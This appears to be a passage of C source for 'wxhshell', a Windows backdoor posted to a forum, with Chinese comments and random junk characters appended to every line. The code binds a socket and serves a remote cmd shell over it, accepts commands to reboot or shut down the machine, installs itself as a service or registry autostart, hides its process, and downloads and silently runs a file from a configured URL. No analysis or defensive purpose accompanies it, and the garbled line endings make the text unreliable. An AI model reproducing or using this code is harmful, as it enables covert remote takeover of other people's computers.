4m(>"dHP  
    switch(cmd[0]) { @ZPTf>J}  
  k^\ &.63(  
  // 帮助 3udIe$.Q  
  case '?': { ?BvI/H5d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8+cpNX  
    break; ` +UMZc  
  } y-q?pqt  
  // 安装 o9d$ 4s@/  
  case 'i': { ;Hp'x_xQ  
    if(Install()) TdIFZ[<7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v oS"X  
    else GJ_)Cl+5E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~@?-|xLqQ  
    break; zXU{p\;)\  
    } mXM>6>;y  
  // 卸载 >MY.Fr#.m  
  case 'r': { 17]31  
    if(Uninstall()) ugPI1'f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Qvgpx>  
    else EI+/%.,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zd4y5/aoS  
    break; n}'.6  
    } ;/3/R/^g  
  // 显示 wxhshell 所在路径 gO myFHv.  
  case 'p': { gH55c aF<  
    char svExeFile[MAX_PATH]; TZyQOjUu  
    strcpy(svExeFile,"\n\r"); XJ/ kB8  
      strcat(svExeFile,ExeFile); rw0lXs#K<E  
        send(wsh,svExeFile,strlen(svExeFile),0); aDv/kFfn  
    break; @M?EgVmW  
    } D % ,yA  
  // 重启 &B0&183  
  case 'b': { NG!Q< !Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OmbKx&>YGz  
    if(Boot(REBOOT)) "$cT*}br  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 24/~gft  
    else { 6="&K_Q7  
    closesocket(wsh); b<78K5'  
    ExitThread(0); gO!h<1!  
    } je3n'^m  
    break; <7] Y\{+  
    } ioCkPj  
  // 关机 `0sk2fn  
  case 'd': { nJH%pBc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (jFE{M$-  
    if(Boot(SHUTDOWN)) lj*913aFh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m1i$>9,  
    else { c} ET#2,  
    closesocket(wsh); cNc _ n<M  
    ExitThread(0); )K3 vzX  
    } j|dzd<kE6  
    break; IqKXFORiNI  
    } pv SFp-:_  
  // 获取shell o`! :Q!+  
  case 's': { ;]x5;b9`  
    CmdShell(wsh); 7]zZh a4X  
    closesocket(wsh); qk1D#1vl  
    ExitThread(0); lD#1"$Coz  
    break; \ySc uT  
  }   NX_S  
  // 退出 >*xzSd? \  
  case 'x': { ;FflEL<7Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t3JPxg]0k'  
    CloseIt(wsh); m48Y1'4  
    break; Vn;] ''_  
    } v 8a  
  // 离开 y'/9KrV T  
  case 'q': { CoXL;\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L%Q *\d  
    closesocket(wsh); 08jQq#  
    WSACleanup(); 1A.\Ao  
    exit(1); B4O a7$M/U  
    break; o?+e_n=  
        } &\[J  
  } .]c:Zt}P  
  } )/N! {`.9  
(1]@ fCd +  
  // 提示信息 @Qozud\?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C,u.!g;lm  
} C YKGf1;If  
  } #eyx  
*OcptmY<  
  return; (5;xs  
} .e#j#tQp  
?7a[| -  
// shell模块句柄 !,uw./8@Ku  
int CmdShell(SOCKET sock) `Db}q^mQ  
{ zZiVBUmE<  
STARTUPINFO si; JdEb_c3S  
ZeroMemory(&si,sizeof(si)); _'a4I;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +t{FF!mL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x^BBK'  
PROCESS_INFORMATION ProcessInfo; (@ sKE  
char cmdline[]="cmd"; n\9*B##  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S-|$sV^cG  
  return 0; Ooy96M~_G  
} 6mLE-( Z7  
<P- r)=^  
// 自身启动模式 K\Q 1/})  
int StartFromService(void) j,jUg}b  
{ QNEaj\   
typedef struct -.{7;6:(k  
{ ,CF~UX% bU  
  DWORD ExitStatus; ^KR(p!%  
  DWORD PebBaseAddress; p?nVPTh  
  DWORD AffinityMask; >UH=]$0N  
  DWORD BasePriority; 1sA-BQL  
  ULONG UniqueProcessId; bNgcZ V.  
  ULONG InheritedFromUniqueProcessId; 9z}kkYk  
}   PROCESS_BASIC_INFORMATION; *n5g";k|  
`<G+ N  
PROCNTQSIP NtQueryInformationProcess; 2eYkWHi  
~VF,qspO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *A`^ C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0AenDm@9  
XWV~6"  
  HANDLE             hProcess; rE~O}2a#H  
  PROCESS_BASIC_INFORMATION pbi; t[~i})yS  
/ KM+PeO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r; !us~  
  if(NULL == hInst ) return 0; 5S bSz!s`$  
c2"OpI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YN[D^;}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s]OXB {M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0@;E8^pa  
IRB;Q(Z   
  if (!NtQueryInformationProcess) return 0; `0N/ /Q  
Gr?gHAT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P6rL;_~e  
  if(!hProcess) return 0; S)?B  I  
'#?hm-Ga  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p9J(,}  
l[Oxf|  
  CloseHandle(hProcess); X3vrD{uNU  
`h#JDcT;a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L^}kwu#  
if(hProcess==NULL) return 0; wB{-]\H`\  
nor`w,2VF  
HMODULE hMod; GEgf_C!%@  
char procName[255]; cvt2P}ma#  
unsigned long cbNeeded; _G`aI*rKsy  
?jnEHn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x g@;d  
.w&Z=YM  
  CloseHandle(hProcess); 6 ?cV1:jh  
^m\n[<x^  
if(strstr(procName,"services")) return 1; // 以服务启动 -v] 0@jNe  
.H "gH-I  
  return 0; // 注册表启动 '|.u*M,b  
} ( ;q$cKy  
4"@yGXUb  
// 主模块 '_8Vay~  
int StartWxhshell(LPSTR lpCmdLine) N !:&$z-  
{ S5vJC-"  
  SOCKET wsl; mc$dR, H0  
BOOL val=TRUE; Sw~<W%! ?  
  int port=0; h 9/68Gc?6  
  struct sockaddr_in door; yL1\V7GI{[  
O;r8l+  
  if(wscfg.ws_autoins) Install(); 5k@ k  
F7d f  
port=atoi(lpCmdLine); 3[$VW+YV  
.KV?;{~q@  
if(port<=0) port=wscfg.ws_port; k<y$[xV  
?*g]27f11  
  WSADATA data; 'tc$#f^:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $xqphhBg  
F-t-d1w6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ lS3+H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z(FAQ\7  
  door.sin_family = AF_INET; >r3Wo%F'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s_|wvOW)'  
  door.sin_port = htons(port); {^v50d  
^H>vJT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {k>m5L  
closesocket(wsl); ;J<kG@  
return 1; : &]%E/  
} Vs(;al'  
yl*S|= 8;k  
  if(listen(wsl,2) == INVALID_SOCKET) { U i;o/Z3  
closesocket(wsl); 6Dch+*4*@  
return 1; h&XyMm9C  
} t}K?.To$  
  Wxhshell(wsl); G{:L^2>  
  WSACleanup(); PGJ?=qXr#  
/lUb9&yV  
return 0; ,}[,]-nVx  
7be?=c)+"  
} ) ":~`Z*@  
SU:Cm: $  
// 以NT服务方式启动 .w`8_v&Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J{91 t |  
{ 2>mDT  
DWORD   status = 0; = hpX2/]  
  DWORD   specificError = 0xfffffff; +`ZcYLg)#  
xH0Bk<`V:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WW&0FugY_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~k&b3-A}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x;N?'"GP  
  serviceStatus.dwWin32ExitCode     = 0; JprZ6 >  
  serviceStatus.dwServiceSpecificExitCode = 0; edch'H^2+P  
  serviceStatus.dwCheckPoint       = 0; n '&WIf3  
  serviceStatus.dwWaitHint       = 0; St?vd+(>  
^+pmZw9 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aJ2-BRn  
  if (hServiceStatusHandle==0) return; *`\>J.  
,30&VW##  
status = GetLastError(); y|X[NSA  
  if (status!=NO_ERROR) 7XZ!UC;i  
{ PR Y)hb;1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tf+B<B:  
    serviceStatus.dwCheckPoint       = 0; &iuc4"'  
    serviceStatus.dwWaitHint       = 0; ,Ti#g8j  
    serviceStatus.dwWin32ExitCode     = status; .NabK  
    serviceStatus.dwServiceSpecificExitCode = specificError; U7Ps2~x3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Y"f .>  
    return; 4ed( DSN  
  } qsJo)SA  
KzhldMJ^zq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @wB$qd;v  
  serviceStatus.dwCheckPoint       = 0; % Dya-  
  serviceStatus.dwWaitHint       = 0; #<)u%)`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EF}Z+7A  
} X)Kd'6zg  
-~jM=f$  
// 处理NT服务事件,比如:启动、停止 S\Q/ "Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g5H+2lSC  
{ e+S%` Sg  
switch(fdwControl) !X8:#a(  
{ a7ZPV1k  
case SERVICE_CONTROL_STOP: kfn5y#6NZ  
  serviceStatus.dwWin32ExitCode = 0; pbu8Ib8z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z_S~#[\7^]  
  serviceStatus.dwCheckPoint   = 0; >RRb8=[J  
  serviceStatus.dwWaitHint     = 0; wAITE|H<zj  
  { B4I|"5G2y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o-R;EbL  
  } zK33.HY  
  return; Mk7#qiPo  
case SERVICE_CONTROL_PAUSE: m(?M]CH(A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A|jaWZM-  
  break; /mvuSNk  
case SERVICE_CONTROL_CONTINUE: ZNzye1JSm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ %kCe>r  
  break; IGVNX2  
case SERVICE_CONTROL_INTERROGATE: .aF+>#V=Q  
  break; s fazrz`h  
}; #;H+Kb5O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .0nL; o  
} R}BHRmSQ  
3:!+B=woR  
// 标准应用程序主函数 \6*3&p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nx=Zl:Q}  
{ 3nxJ`W5j  
Hw_(Af?C  
// 获取操作系统版本 >lRX+?  
OsIsNt=GetOsVer(); Q4C28-#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) =sm{R%T  
{3'z}q  
  // 从命令行安装 _"=Yj3?G%  
  if(strpbrk(lpCmdLine,"iI")) Install(); x?T/=C  
1)vdM(y3j  
  // 下载执行文件 wS#.W zp.w  
if(wscfg.ws_downexe) { *s<FEF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rk{DrbRx  
  WinExec(wscfg.ws_filenam,SW_HIDE); n a_Y<R`  
} }h>QkV,{2  
]k5l]JB  
if(!OsIsNt) { 8I3"68c_a  
// 如果时win9x,隐藏进程并且设置为注册表启动 jCxw|tmgq  
HideProc(); q@H?ohIH  
StartWxhshell(lpCmdLine); 3S ,D~L^  
} d0eMDIm3R\  
else | x/,  
  if(StartFromService()) $Ic: c  
  // 以服务方式启动 L+bU~N,+A  
  StartServiceCtrlDispatcher(DispatchTable); u-=%gx"Di  
else >#<o7]  
  // 普通方式启动 EJ"[{AV  
  StartWxhshell(lpCmdLine); # KK>D?.:  
8" XbW7^o  
return 0; _m#M^<0n  
}
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只看该作者 1 发表于: 2006-10-10
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